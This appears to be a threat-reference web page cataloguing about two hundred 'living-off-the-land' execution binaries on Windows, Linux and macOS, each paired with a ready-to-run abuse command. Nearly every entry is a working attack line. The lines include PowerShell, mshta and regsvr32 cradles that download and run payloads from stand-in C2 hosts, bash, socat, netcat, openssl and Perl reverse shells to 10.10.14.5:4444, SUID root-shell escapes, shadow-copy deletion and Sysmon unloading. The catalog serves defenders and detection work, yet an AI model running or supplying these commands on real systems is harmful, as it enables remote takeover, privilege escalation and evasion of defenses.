Execution LOLBins & Script Interpreter Abuse
Living-off-the-Land execution utilities allow threat actors to run arbitrary shell commands, in-memory scripts, and weaponized payloads through signed system binaries, evading application blacklists.
Adversaries abuse native command processors, script engines, and compilers (e.g. cmd, bash, python, mshta, cscript) to bypass strict user execution controls and run code in trusted memory contexts.
Catalog of Execute LOLBins
Displaying 206 itemsmshta.exe
Microsoft HTML Application (MSHTA) host executes .hta files and scripts embedded inside web pages. Attackers abuse mshta to execute malicious inline VBScript or JScript directly from the command line or remote HTTP servers.
mshta.exe vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""powershell.exe -nop -w hidden -enc JAB...="",0"))rundll32.exe
The Rundll32 program loads and runs 32-bit and 64-bit Dynamic Link Libraries (DLLs). Threat actors use it to execute exported functions from arbitrary DLLs, run scriptlets, or execute code via MSHTML protocol handlers.
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/payload.sct")regsvr32.exe
Regsvr32 registers and unregisters OLE controls, such as DLLs and ActiveX controls in the Windows Registry. When passed the /i switch pointing to an HTTP/HTTPS URL and scrobj.dll, regsvr32 downloads and executes remote COM scriptlets in memory (the classic Squiblydoo technique).
regsvr32.exe /s /n /u /i:http://attack.server/payload.sct scrobj.dllpowershell.exe
PowerShell is a powerful task automation framework and scripting engine. Widely abused by threat actors for in-memory execution (fileless malware), credential dumping, remote command execution, and AMSI bypasses.
powershell.exe -nop -w hidden -ep bypass -c "IEX ((New-Object Net.WebClient).DownloadString('http://c2.server/stage2.ps1'))"wmic.exe
Windows Management Instrumentation Command-line (WMIC) provides a command-line interface for WMI. Abused for process execution, remote lateral movement, process creation, and running XSL stylesheets.
wmic.exe process call create "powershell.exe -w hidden -enc ..."cscript.exe
CScript.exe is a command-line version of the Windows Script Host that facilitates running VBScript and JScript scripts. Frequently abused to run dropped scripts, execute obfuscated VBScript files, and perform defense evasion.
cscript.exe //B //Nologo %TEMP%\recon.vbsAddinUtil.exe
.NET Tool used for updating cache files for Microsoft Office Add-Ins.
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddinUtil.exe -AddinRoot:.At.exe
Schedule periodic tasks
C:\Windows\System32\at.exe 09:00 /interactive /every:m,t,w,th,f,s,su {CMD}Atbroker.exe
Helper binary for Assistive Technology (AT)
ATBroker.exe /start malwareBash.exe
File used by Windows subsystem for Linux
bash.exe -c "{CMD}"CertOC.exe
Used for installing certificates
certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}CertReq.exe
Used for requesting and managing certificates
CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE}Change.exe
Remote Desktop Services MultiUser Change Utility
change.exe userCipher.exe
File Encryption Utility
cipher /w:{PATH_ABSOLUTE:folder}Cmd.exe
The command-line interpreter in Windows
type {PATH_ABSOLUTE} > {PATH_SMB}Cmstp.exe
Installs or removes a Connection Manager service profile.
cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}Colorcpl.exe
Binary that handles color management
colorcpl {PATH}ConfigSecurityPolicy.exe
Binary part of Windows Defender. Used to manage settings in Windows Defender. You can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads.
ConfigSecurityPolicy.exe {PATH_ABSOLUTE} {REMOTEURL}Conhost.exe
Console Window host
conhost.exe {CMD}Control.exe
Binary used to launch controlpanel items in Windows
control.exe {PATH_ABSOLUTE:.cpl}Csc.exe
Binary file used by .NET Framework to compile C# code
csc.exe -out:{PATH:.exe} {PATH:.cs}CustomShellHost.exe
A host process that is used by custom shells when using Windows in Kiosk mode.
CustomShellHost.exeDataSvcUtil.exe
DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application.
DataSvcUtil /out:{PATH_ABSOLUTE} /uri:{REMOTEURL}DeviceCredentialDeployment.exe
Device Credential Deployment
DeviceCredentialDeploymentDiantz.exe
Binary that package existing files into a cabinet (.cab) file
diantz /f {PATH:.ddf}Diskshadow.exe
Diskshadow.exe is a tool that exposes the functionality offered by the volume shadow copy Service (VSS).
diskshadow> exec {PATH:.exe}Dnscmd.exe
A command-line interface for managing DNS servers
dnscmd.exe dc1.lab.int /config /serverlevelplugindll {PATH_SMB:.dll}Esentutl.exe
Binary for working with Microsoft Joint Engine Technology (JET) database
esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /oExpand.exe
Binary that expands one or more compressed files
expand {PATH_ABSOLUTE:.source.ext} {PATH_ABSOLUTE:.dest.ext}Explorer.exe
Binary used for managing files and system components within Windows
explorer.exe /root,"{PATH_ABSOLUTE:.exe}"Extexport.exe
Load a DLL located in the c:\test folder with a specific name.
Extexport.exe {PATH_ABSOLUTE:folder} foo barExtrac32.exe
Extract to ADS, copy or overwrite a file with Extrac32.exe
extrac32.exe /C {PATH_ABSOLUTE:.source.exe} {PATH_ABSOLUTE:.dest.exe}fltMC.exe
Filter Manager Control Program used by Windows
fltMC.exe unload SysmonDrvForfiles.exe
Selects and executes a command on a file or set of files. This command is useful for batch processing.
forfiles /p c:\windows\system32 /m notepad.exe /c "{CMD}"Fsutil.exe
File System Utility
fsutil.exe file setZeroData offset=0 length=9999999999 {PATH_ABSOLUTE}Ftp.exe
A binary designed for connecting to FTP servers
echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txtGpscript.exe
Used by group policy to process scripts
Gpscript /logonHh.exe
Binary used for processing chm files in Windows
HH.exe {PATH_ABSOLUTE:.exe}Ie4uinit.exe
Executes commands from a specially prepared ie4uinit.inf file.
ie4uinit.exe -BaseSettingsiediagcmd.exe
Diagnostics Utility for Internet Explorer
set windir=c:\test& cd "C:\Program Files\Internet Explorer\" & iediagcmd.exe /out:{PATH_ABSOLUTE:.cab}Ieexec.exe
The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.
ieexec.exe {REMOTEURL:.exe}Ilasm.exe
used for compile c# code into dll or exe.
ilasm.exe {PATH_ABSOLUTE:.txt} /exeInfdefaultinstall.exe
Binary used to perform installation based on content inside inf files
InfDefaultInstall.exe {PATH:.inf}Installutil.exe
The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies
InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}Jsc.exe
Binary file used by .NET to compile JavaScript code to .exe or .dll format
jsc.exe {PATH:.js}Makecab.exe
Binary to package existing files into a cabinet (.cab) file
makecab /F {PATH:.ddf}Mavinject.exe
Used by App-v in Windows
MavInject.exe 3110 /INJECTRUNNING {PATH_ABSOLUTE:.dll}Microsoft.Workflow.Compiler.exe
A utility included with .NET that is capable of compiling and executing C# or VB.net code.
Microsoft.Workflow.Compiler.exe {PATH} {PATH:.log}Mmc.exe
Load snap-ins to locally and remotely manage Windows systems
mmc.exe -Embedding {PATH_ABSOLUTE:.msc}Mofcomp.exe
Compiler that parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. Threat actors can leverage this binary to install malicious MOF scripts
mofcomp.exe {PATH_ABSOLUTE:.mof}Msbuild.exe
Used to compile and execute code
msbuild.exe {PATH:.csproj}Msconfig.exe
MSConfig is a troubleshooting tool which is used to temporarily disable or re-enable software, device drivers or Windows services that run during startup process to help the user determine the cause of a problem with Windows
Msconfig.exe -5Msdt.exe
Microsoft diagnostics tool
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUEMsedge.exe
Microsoft Edge browser
msedge.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"msedgewebview2.exe
msedgewebview2.exe is the executable file for Microsoft Edge WebView2, which is a web browser control used by applications to display web content.
msedgewebview2.exe --no-sandbox --browser-subprocess-path="{PATH_ABSOLUTE:.exe}"msedge_proxy.exe
Microsoft Edge Browser
C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"Msiexec.exe
Used by Windows to execute msi files
msiexec /quiet /i {PATH:.msi}Netsh.exe
Netsh is a Windows tool used to manipulate network interface settings.
netsh.exe add helper {PATH_ABSOLUTE:.dll}Odbcconf.exe
Used in Windows for managing ODBC connections
odbcconf /a {REGSVR {PATH_ABSOLUTE:.dll}}OfflineScannerShell.exe
Windows Defender Offline Shell
OfflineScannerShellPcalua.exe
Program Compatibility Assistant
pcalua.exe -a {PATH:.exe}Pcwrun.exe
Program Compatibility Wizard
Pcwrun.exe {PATH_ABSOLUTE:.exe}Pnputil.exe
Used for installing drivers
pnputil.exe -i -a {PATH_ABSOLUTE:.inf}Presentationhost.exe
File is used for executing Browser applications
Presentationhost.exe {PATH_ABSOLUTE:.xbap}Print.exe
Used by Windows to send files to the printer
print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_ABSOLUTE:.source.exe}Provlaunch.exe
Launcher process
provlaunch.exe LOLBinQuery.exe
Remote Desktop Services MultiUser Query Utility
query.exe userRasautou.exe
Windows Remote Access Dialer
rasautou -d {PATH:.dll} -p export_name -a a -e eRegasm.exe
Part of .NET
regasm.exe /U {PATH:.dll}Register-cimprovider.exe
Used to register new wmi providers
Register-cimprovider -path {PATH_ABSOLUTE:.dll}Regsvcs.exe
Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies
regsvcs.exe {PATH:.dll}Replace.exe
Used to replace file with another file
replace.exe {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE:folder} /AReset.exe
Remote Desktop Services Reset Utility
reset.exe sessionRunexehelper.exe
Launcher process
runexehelper.exe {PATH_ABSOLUTE:.exe}Runonce.exe
Executes a Run Once Task that has been configured in the registry
Runonce.exe /AlternateShellStartupRunscripthelper.exe
Execute target PowerShell script
runscripthelper.exe surfacecheck \\?\{PATH_ABSOLUTE:.txt} {PATH_ABSOLUTE:folder}Schtasks.exe
Schedule periodic tasks
schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr "{CMD}"scp.exe
Used for uploading or downloading files over SSH.
scp.exe -o ProxyCommand="{CMD}" . localhost:.Scriptrunner.exe
Execute binary through proxy binary to evade defensive counter measures
Scriptrunner.exe -appvscript {PATH:.exe}Setres.exe
Configures display settings
setres.exe -w 800 -h 600SettingSyncHost.exe
Host Process for Setting Synchronization
SettingSyncHost -LoadAndRunDiagScript {PATH:.exe}setupugc.exe
Setup Unattend Generic Command Processor used during Windows deployment.
setupugc.exe specializeSftp.exe
sftp.exe is a Windows command-line utility that uses the Secure File Transfer Protocol (SFTP) to securely transfer files between a local machine and a remote server.
sftp -o ProxyCommand="{CMD}" .Sigverif.exe
File Signature Verification utility to verify digital signatures of files
sigverif.exessh.exe
Ssh.exe is the OpenSSH compatible client can be used to connect to Windows 10 (build 1809 and later) and Windows Server 2019 devices.
ssh localhost "{CMD}"Stordiag.exe
Storage diagnostic tool
stordiag.exeSyncAppvPublishingServer.exe
Used by App-v to get App-v server lists
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"Tar.exe
Used by Windows to extract and create archives.
tar -xf {PATH_SMB:.tar}Ttdinject.exe
Used by Windows 1809 and newer to Debug Time Travel (Underlying call of tttracer.exe)
TTDInject.exe /ClientParams "7 tmp.run 0 0 0 0 0 0 0 0 0 0" /Launch "{PATH:.exe}"Tttracer.exe
Used by Windows 1809 and newer to Debug Time Travel
tttracer.exe {PATH_ABSOLUTE:.exe}Unregmp2.exe
Microsoft Windows Media Player Setup Utility
rmdir %temp%\lolbin /s /q 2>nul & mkdir "%temp%\lolbin\Windows Media Player" & copy C:\Windows\System32\calc.exe "%temp%\lolbin\Windows Media Player\wmpnscfg.exe" >nul && cmd /V /C "set "ProgramW6432=%temp%\lolbin" && unregmp2.exe /HideWMP"vbc.exe
Binary file used for compile vbs code
vbc.exe /target:exe {PATH_ABSOLUTE:.vb}Verclsid.exe
Used to verify a COM object before it is instantiated by Windows Explorer
verclsid.exe /S /C {CLSID}Vssadmin.exe
Volume Shadow Copy Service administrative command-line tool
vssadmin delete shadows /all /quietWab.exe
Windows address book manager
wab.exewbemtest.exe
WMI/WBEM Test Binary
wbemtest.exewinget.exe
Windows Package Manager tool
winget.exe install --manifest {PATH:.yml}Wlrmdr.exe
Windows Logon Reminder executable
wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u {PATH:.exe}WorkFolders.exe
Work Folders
WorkFolderswrite.exe
Windows Write
write.exewt.exe
Windows Terminal
wt.exe {CMD}wuauclt.exe
Windows Update Client
wuauclt.exe /UpdateDeploymentProvider {PATH_ABSOLUTE:.dll} /RunHandlerComServerXwizard.exe
Execute custom class that has been added to the registry or download a file with Xwizard.exe
xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}Advpack.dll
Utility for installing software and drivers with rundll32.exe
rundll32.exe advpack.dll,RegisterOCX {PATH:.dll}Desk.cpl
Desktop Settings Control Panel
rundll32.exe desk.cpl,InstallScreenSaver {PATH_ABSOLUTE:.scr}Ieadvpack.dll
INF installer for Internet Explorer. Has much of the same functionality as advpack.dll.
rundll32.exe ieadvpack.dll,RegisterOCX {PATH:.dll}Ieframe.dll
Internet Browser DLL for translating HTML code.
rundll32.exe ieframe.dll,OpenURL {PATH_ABSOLUTE:.url}Mshtml.dll
Microsoft HTML Viewer
rundll32.exe Mshtml.dll,PrintHTML {PATH_ABSOLUTE:.hta}Pcwutl.dll
Microsoft HTML Viewer
rundll32.exe pcwutl.dll,LaunchApplication {PATH:.exe}Setupapi.dll
Windows Setup Application Programming Interface
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 {PATH_ABSOLUTE:.inf}Shdocvw.dll
Shell Doc Object and Control Library.
rundll32.exe shdocvw.dll,OpenURL {PATH_ABSOLUTE:.url}Shell32.dll
Windows Shell Common Dll
rundll32.exe shell32.dll,Control_RunDLL {PATH_ABSOLUTE:.dll}Syssetup.dll
Windows NT System Setup
rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 {PATH_ABSOLUTE:.inf}Url.dll
Internet Shortcut Shell Extension DLL.
rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.hta}Zipfldr.dll
Compressed Folder library
rundll32.exe zipfldr.dll,RouteTheCall {PATH:.exe}CL_Invocation.ps1
Aero diagnostics script
. C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1 \nSyncInvoke {CMD}CL_LoadAssembly.ps1
PowerShell Diagnostic Script
powershell.exe -ep bypass -command "set-location -path C:\Windows\diagnostics\system\Audio; import-module .\CL_LoadAssembly.ps1; LoadAssemblyFromPath ..\..\..\..\testing\fun.dll;[Program]::Fun()"CL_Mutexverifiers.ps1
Proxy execution with CL_Mutexverifiers.ps1
. C:\Windows\diagnostics\system\AERO\CL_Mutexverifiers.ps1 \nrunAfterCancelProcess {PATH:.ps1}Launch-VsDevShell.ps1
Locates and imports a Developer PowerShell module and calls the Enter-VsDevShell cmdlet
powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsWherePath {PATH_ABSOLUTE:.exe}Manage-bde.wsf
Script for managing BitLocker
set comspec={PATH_ABSOLUTE:.exe} & cscript c:\windows\system32\manage-bde.wsfPester.bat
Used as part of the Powershell pester
Pester.bat [/help|?|-?|/?] "$null; {CMD}"Pubprn.vbs
Proxy execution with Pubprn.vbs
pubprn.vbs 127.0.0.1 script:{REMOTEURL:.sct}Syncappvpublishingserver.vbs
Script used related to app-v and publishing server
SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"UtilityFunctions.ps1
PowerShell Diagnostic Script
powershell.exe -ep bypass -command "set-location -path c:\windows\diagnostics\system\networking; import-module .\UtilityFunctions.ps1; RegSnapin ..\..\..\..\temp\unsigned.dll;[Program.Class]::Main()"winrm.vbs
Script used for manage Windows RM settings
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="{CMD}"} -r:http://target:5985AccCheckConsole.exe
Verifies UI accessibility requirements
AccCheckConsole.exe -window "Untitled - Notepad" {PATH_ABSOLUTE:.dll}adplus.exe
Debugging tool included with Windows Debugging Tools
adplus.exe -c {PATH:.xml}AgentExecutor.exe
Intune Management Extension included on Intune Managed Devices
AgentExecutor.exe -powershell "{PATH_ABSOLUTE:.ps1}" "{PATH_ABSOLUTE:.1.log}" "{PATH_ABSOLUTE:.2.log}" "{PATH_ABSOLUTE:.3.log}" 60000 "C:\Windows\SysWOW64\WindowsPowerShell\v1.0" 0 1AppCert.exe
Windows App Certification Kit command-line tool.
appcert.exe test -apptype desktop -setuppath {PATH_ABSOLUTE:.exe} -reportoutputpath {PATH_ABSOLUTE:.xml}AppLauncher.exe
User Experience Virtualization tool that launches applications under monitoring to capture and synchronize user settings.
AppLauncher.exe {PATH_ABSOLUTE:.exe}Appvlp.exe
Application Virtualization Utility Included with Microsoft Office 2016
AppVLP.exe {PATH_SMB:.bat}Bginfo.exe
Background Information Utility included with SysInternals Suite
bginfo.exe {PATH:.bgi} /popup /nolicpromptCdb.exe
Debugging tool included with Windows Debugging Tools.
cdb.exe -cf {PATH:.wds} -o notepad.execoregen.exe
Binary coregen.exe (Microsoft CoreCLR Native Image Generator) loads exported function GetCLRRuntimeHost from coreclr.dll or from .DLL in arbitrary path. Coregen is located within "C:\Program Files (x86)\Microsoft Silverlight\5.1.50918.0\" or another version of Silverlight. Coregen is signed by Microsoft and bundled with Microsoft Silverlight.
coregen.exe /L {PATH_ABSOLUTE:.dll} dummy_assembly_namecsi.exe
Command line interface included with Visual Studio.
csi.exe {PATH:.cs}DbgSrv.exe
A process server included with Debugging Tools for Windows for remote user-mode debugging.
dbgsrv.exe -t tcp:port=5005 -c {CMD}DefaultPack.EXE
This binary can be downloaded along side multiple software downloads on the Microsoft website. It gets downloaded when the user forgets to uncheck the option to set Bing as the default search provider.
DefaultPack.EXE /C:"{CMD}"Devinit.exe
Visual Studio 2019 tool
devinit.exe run -t msi-install -i {REMOTEURL:.msi}Devtoolslauncher.exe
Binary will execute specified binary. Part of VS/VScode installation.
devtoolslauncher.exe LaunchForDeploy {PATH_ABSOLUTE:.exe} "{CMD:args}" testdnx.exe
.NET Execution environment file included with .NET.
dnx.exe {PATH_ABSOLUTE:folder}dotnet-counters.exe
.NET diagnostic tool for monitoring performance counters of .NET applications in real-time. Installed via 'dotnet tool install --global dotnet-counters' (.NET SDK required).
dotnet-counters.exe collect --duration 1 -- {PATH:.exe}dotnet-trace.exe
.NET diagnostic tool for collecting runtime traces from .NET applications. Installed via 'dotnet tool install --global dotnet-trace' (.NET SDK required).
dotnet-trace.exe collect --duration 00:00:01 -- {PATH:.exe}Dotnet.exe
dotnet.exe comes with .NET Framework
dotnet.exe {PATH:.dll}dtutil.exe
Microsoft command line utility used to manage SQL Server Integration Services packages.
dtutil.exe /FILE {PATH_ABSOLUTE:.source.ext} /COPY FILE;{PATH_ABSOLUTE:.dest.ext}Dxcap.exe
DirectX diagnostics/debugger included with Visual Studio.
Dxcap.exe -c {PATH_ABSOLUTE:.exe}IntelliTrace.exe
Visual Studio command-line tool for collecting and managing diagnostic trace files.
IntelliTrace.exe launch /cp:"collectionplan.xml" /f:"c:\users\public\log" "C:\Windows\System32\calc.exe"Logger.exe
A logging configuration tool from the Windows Kits used to start and manage process logging.
logger.exe RUN "{CMD}"Mftrace.exe
Trace log generation tool for Media Foundation Tools.
Mftrace.exe {PATH:.exe}Microsoft.NodejsTools.PressAnyKey.exe
Part of the NodeJS Visual Studio tools.
Microsoft.NodejsTools.PressAnyKey.exe normal 1 {PATH:.exe}Mpiexec.exe
Command-line tool for running Message Passing Interface (MPI) applications.
mpiexec.exe {CMD}Mscopilot.exe
Microsoft Copilot app
mscopilot.exe --no-startup-window --disable-gpu-sandbox --gpu-launcher="{CMD} && taskkill /f /im mscopilot.exe &&"Mscopilot_proxy.exe
Microsoft Copilot proxy launcher
mscopilot_proxy.exe --no-startup-window --disable-gpu-sandbox --gpu-launcher="cmd.exe /c calc.exe && taskkill /f /im mscopilot.exe &&"Msdeploy.exe
Microsoft tool used to deploy Web Applications.
msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="{PATH_ABSOLUTE:.bat}"msxsl.exe
Command line utility used to perform XSL transformations.
msxsl.exe {PATH:.xml} {PATH:.xsl}Ntsd.exe
Symbolic Debugger for Windows.
ntsd.exe -g {CMD}OpenConsole.exe
Console Window host for Windows Terminal
OpenConsole.exe {PATH:.exe}Pixtool.exe
Command line utility for taking and analyzing PIX GPU captures.
pixtool.exe launch {PATH_ABSOLUTE:.exe}Procdump.exe
SysInternals Memory Dump Tool
procdump.exe -md {PATH:.dll} explorer.exercsi.exe
Non-Interactive command line inerface included with Visual Studio.
rcsi.exe {PATH:.csx}Remote.exe
Debugging tool included with Windows Debugging Tools
Remote.exe /s {PATH:.exe} anythinghereSqlps.exe
Tool included with Microsoft SQL Server that loads SQL Server cmdlets. Microsoft SQL Server\100 and 110 are Powershell v2. Microsoft SQL Server\120 and 130 are Powershell version 4. Replaced by SQLToolsPS.exe in SQL Server 2016, but will be included with installation for compatability reasons.
Sqlps.exe -noprofileSQLToolsPS.exe
Tool included with Microsoft SQL that loads SQL Server cmdlts. A replacement for sqlps.exe. Successor to sqlps.exe in SQL Server 2016+.
SQLToolsPS.exe -noprofile -command Start-Process {PATH:.exe}Squirrel.exe
Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
squirrel.exe --update {REMOTEURL}te.exe
Testing tool included with Microsoft Test Authoring and Execution Framework (TAEF).
te.exe {PATH:.wsc}Teams.exe
Electron runtime binary which runs the Teams application
teams.exeTestWindowRemoteAgent.exe
TestWindowRemoteAgent.exe is the command-line tool to establish RPC
TestWindowRemoteAgent.exe start -h {your-base64-data}.example.com -p 8000Tracker.exe
Tool included with Microsoft .Net Framework.
Tracker.exe /d {PATH:.dll} /c C:\Windows\write.exeUpdate.exe
Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
Update.exe --update={REMOTEURL}VSDiagnostics.exe
Command-line tool used for performing diagnostics.
VSDiagnostics.exe start 1 /launch:{PATH:.exe}Vshadow.exe
VShadow is a command-line tool that can be used to create and manage volume shadow copies.
vshadow.exe -nw -exec={PATH_ABSOLUTE:.exe} C:VSIISExeLauncher.exe
Binary will execute specified binary. Part of VS/VScode installation.
VSIISExeLauncher.exe -p {PATH:.exe} -a "{CMD:args}"vsjitdebugger.exe
Just-In-Time (JIT) debugger included with Visual Studio
Vsjitdebugger.exe {PATH:.exe}VSLaunchBrowser.exe
Microsoft Visual Studio browser launcher tool for web applications debugging
VSLaunchBrowser.exe .exe {PATH_ABSOLUTE:.exe}vsls-agent.exe
Agent for Visual Studio Live Share (Code Collaboration)
vsls-agent.exe --agentExtensionPath {PATH_ABSOLUTE:.dll}WFMFormat.exe
Command-line tool used for pretty-print a dump file generated by Message Farm Analyzer tool.
WFMFormat.exeWinDbg.exe
Windows Debugger for advanced user-mode and kernel-mode debugging.
windbg.exe -g {CMD}winfile.exe
Windows File Manager executable
winfile.exe {PATH:.exe}wsb.exe
Windows Sandbox command-line interface. Creates, lists, controls, and executes commands inside Windows Sandbox sessions from the host CLI.
wsb start --config "<Configuration><LogonCommand><Command>{CMD}</Command></LogonCommand></Configuration>"
wsb exec -r System --id YOUR_IDWsl.exe
Windows subsystem for Linux executable
wsl.exe -e /mnt/c/Windows/System32/calc.exeXBootMgr.exe
Windows Performance Toolkit binary used to start performance traces.
xbootmgr.exe -trace "{boot|hibernate|standby|shutdown|rebootCycle}" -callBack {PATH:.exe}XBootMgrSleep.exe
Windows Performance Toolkit binary used for tracing and analyzing system performance during sleep and resume transitions.
xbootmgrsleep.exe 1000 {PATH:.exe}code.exe
VSCode binary, also portable (CLI) version
code.exe tunnel --accept-server-license-terms --name "tunnel-name"find
Find searches directory trees for files matching criteria. When configured with SUID permissions or sudo privileges without restrictions, its -exec flag can spawn root shells or execute arbitrary commands.
find . -name "*.conf" -exec /bin/sh -p \;bash
The GNU Bourne Again SHell (bash) is the default interactive shell on most Linux distributions. Abused for spawning interactive reverse TCP shells, executing encoded base64 commands, and privilege escalation.
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1socat
Socat is a command-line based utility that establishes two bidirectional byte streams and transfers data between them. Attackers use socat to establish encrypted TTY reverse shells and tunnel traffic across isolated network zones.
socat tcp-connect:10.10.14.5:4444 exec:"bash -li",pty,stderr,setsid,sigint,sanepython
Python is a high-level interpreted programming language. Frequently pre-installed on Linux systems and abused by adversaries for full-fledged reverse shells, PTY spawning, local port forwarding, and script execution.
python3 -c "import pty; pty.spawn('/bin/bash')"awk
AWK is a pattern scanning and processing language. Because AWK includes built-in system() functions and file operations, SUID awk or sudo privileges can be trivially abused to break out of restricted environments and spawn shells.
awk 'BEGIN {system("/bin/sh")}'tar
GNU tar is an archiving utility. Attackers abuse tar checkpoint execution options (--checkpoint-action=exec) to spawn an interactive shell or execute arbitrary commands when running with sudo or SUID permissions.
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/shopenssl
OpenSSL is a cryptography toolkit. Attackers leverage openssl s_client to establish encrypted TLS reverse shell sessions or exfiltrate sensitive files across monitored networks.
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.14.5:4444 > /tmp/s; rm /tmp/svim
Vim is an interactive screen text editor. When configured with SUID permissions or privileged sudo rights without command restrictions, attackers escape into a root shell via the :! command.
vim -c ':!/bin/sh'env
Env runs a program in a modified environment. When configured with the SUID bit or unrestricted sudo access, running env to launch a shell preserves elevated root EUID permissions.
env /bin/sh -pnmap
Nmap is a network exploration tool and security scanner. Attackers use custom Nmap Scripting Engine (NSE) scripts to execute arbitrary root shell commands when nmap has SUID or sudo grants.
echo 'os.execute("/bin/sh")' > /tmp/payload.nse && nmap --script=/tmp/payload.nsenc
Netcat is a versatile networking tool for TCP and UDP communication. Attackers frequently use it in conjunction with FIFOs or the -e flag to establish interactive reverse command shells.
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.5 4444 > /tmp/fperl
Perl is a general-purpose programming language widely installed on Linux servers. Attackers execute socket-creation one-liners to spawn interactive reverse shells directly in memory.
perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'ruby
Ruby is an interpreted programming language. Attackers use ruby -e one-liners to execute shell breakouts, spawn interactive PTY shells, or establish network socket connections.
ruby -e 'exec "/bin/sh"'gdb
GNU Debugger (gdb) allows code inspection and execution. When granted SUID permissions or privileged sudo rights, gdb can execute arbitrary shell commands prior to loading programs.
gdb -nx -ex '!sh' -ex quitless
Less is an interactive terminal file pager. When invoked via sudo without secure mode, operators can escape to an interactive shell by issuing !/bin/sh from within the viewer.
less /etc/hostsmore
More is a terminal filter for paging text. Like less, running more on terminal outputs allows executing interactive shell escapes via !/bin/sh.
more /etc/servicesxargs
Xargs builds and executes command lines from standard input. SUID xargs can execute an interactive root shell retaining elevated permissions.
xargs -a /dev/null /bin/sh -pstrace
Strace intercepts and records system calls. When run with SUID permissions, strace executes target binaries with preserved root privileges.
strace -o /dev/null /bin/sh -ptimeout
Timeout runs a command with a time limit. SUID timeout launches child programs with preserved elevated permissions.
timeout 7d /bin/sh -pionice
Ionice sets or gets process I/O scheduling class and priority. SUID ionice launches child programs with elevated privileges.
ionice /bin/sh -pnice
Nice runs a program with modified scheduling priority. SUID nice spawns child programs retaining elevated EUID permissions.
nice /bin/sh -popen
The open command opens files, directories, URLs, and applications as if you double-clicked them in Finder. Used to launch unsigned or quarantined applications and evade Gatekeeper or security software inspection.
open -a /Applications/Safari.app/Contents/MacOS/Safari http://phishing.siteinstaller
Installer runs system software installations. Attackers run installer from terminal with root privileges to deploy malicious package files silently without user prompts.
sudo installer -pkg /tmp/implant.pkg -target /hdiutil
Hdiutil manipulates macOS disk images (DMG). Attackers attach downloaded DMG images silently (-nobrowse) to access and execute stage-2 payloads without mounting icons on the desktop.
hdiutil attach /tmp/payload.dmg -nobrowse -mountpoint /Volumes/secretExplore Other Attack Objectives & Tactics
